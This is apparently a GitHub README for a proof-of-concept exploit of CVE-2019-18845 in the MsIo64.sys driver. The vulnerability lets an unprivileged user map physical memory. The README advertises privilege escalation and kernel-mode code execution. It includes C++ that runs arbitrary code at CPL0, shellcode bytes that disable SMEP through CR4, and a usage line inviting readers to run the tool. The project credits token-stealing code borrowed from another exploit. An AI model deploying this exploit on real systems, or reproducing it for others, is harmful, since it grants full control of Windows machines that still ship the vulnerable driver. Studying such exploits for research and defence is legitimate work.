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https://github.com/kkent030315/msioexploit

Exploit MsIo vulnerable driver
https://github.com/kkent030315/msioexploit

cve-2019-18845 kernel kernel-exploit kernel-exploits windows

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Exploit MsIo vulnerable driver

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# MsIoExploit

Exploit MsIo vulnerable driver

# Description

This is a PoC for [CVE-2019-18845](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18845) `MsIo64.sys` allowing non-privileged user to map/unmap arbitrary physical memory via `ZwMapViewOfSection` / `ZwUnmapViweOfSection`.
If you are interested in abusing physical memory mapping, see [project anycall](https://github.com/kkent030315/anycall/tree/main/anycall) has full implementation of client and driver-sided functionalities.

Allowing non-privileged(non-kernel) component to map arbitrary physical memory is the most *bad* practice and critically vulnerable way which allowing attacker to gain full control of the system as I demonstrated arbitrary NT-Kernel API invocation in this PoC.

You can try by yourself by executing this while you have driver running.

Also this driver and `MsIo64.dll` are fully copy & paste of [IO-Memory](https://github.com/Bleichroder/IO-Memory).

This exploit was first reported 2019 but still remains unfixed and hardware vendors like ASRock still use this driver.

### Features

- Privilege Escalation
- Shellcode Execution
- Arbitrary code execution in CPL0 context
- `__writemsr`, `__cpuid` or whatever

I've implemented a replicate of Capcom exploit so you can execute any code in CPL0 context, as follows:

```cpp
unsigned long long cr4 = 0;
static auto ntoskrnl_image_base = this->ntoskrnl_image_base;
static uint16_t dos_signature = 0x0;

this->disable_smep(&cr4);
// lambda will be called in the CPL0
this->exec_in_kernel([]() -> void
{
// direct access to the kernel virtual memory
dos_signature = *(uint16_t*)(ntoskrnl_image_base);
});
this->enable_smep(&cr4);
```

Please note that the lambda function cannot be captured because captured lambda functions cannot be a function pointer. so only `static` members can access from inside of the lambda. also in the context of CPL0 it is impossible to call a few specific functions like `printf` will cause BSOD of course.

Shellcode execution will be look like:

```cpp
void exploit::disable_smep(unsigned long long* old_cr4)
{
static uint8_t disable_smep_shellcode[] = {
0xFA, // cli
0x0F, 0x20, 0xE0, // mov rax, cr4
0x48, 0x89, 0x01, // mov QWORD PTR [rcx], rax
0x48, 0x25, 0xFF, 0xFF, 0xEF, 0xFF, // and rax, 0xffffffffffefffff
0x0F, 0x22, 0xE0, // mov cr4, rax
0xC3 }; // ret

this->execute_shellcode_in_kernel(
reinterpret_cast(&disable_smep_shellcode),
sizeof(disable_smep_shellcode),
old_cr4);
}
```

Now we have a full control out of the system, no need to do dumbass thing like mapping unsigned drivers.

# Usage

```bash
> MsIoExploit.exe
```

# Credit

Several sources regarding token steal are from [ExploitCapcom](https://github.com/tandasat/ExploitCapcom)

Credit [@tandasat](https://github.com/tandasat/)

# License

MIT copyright Kento Oki \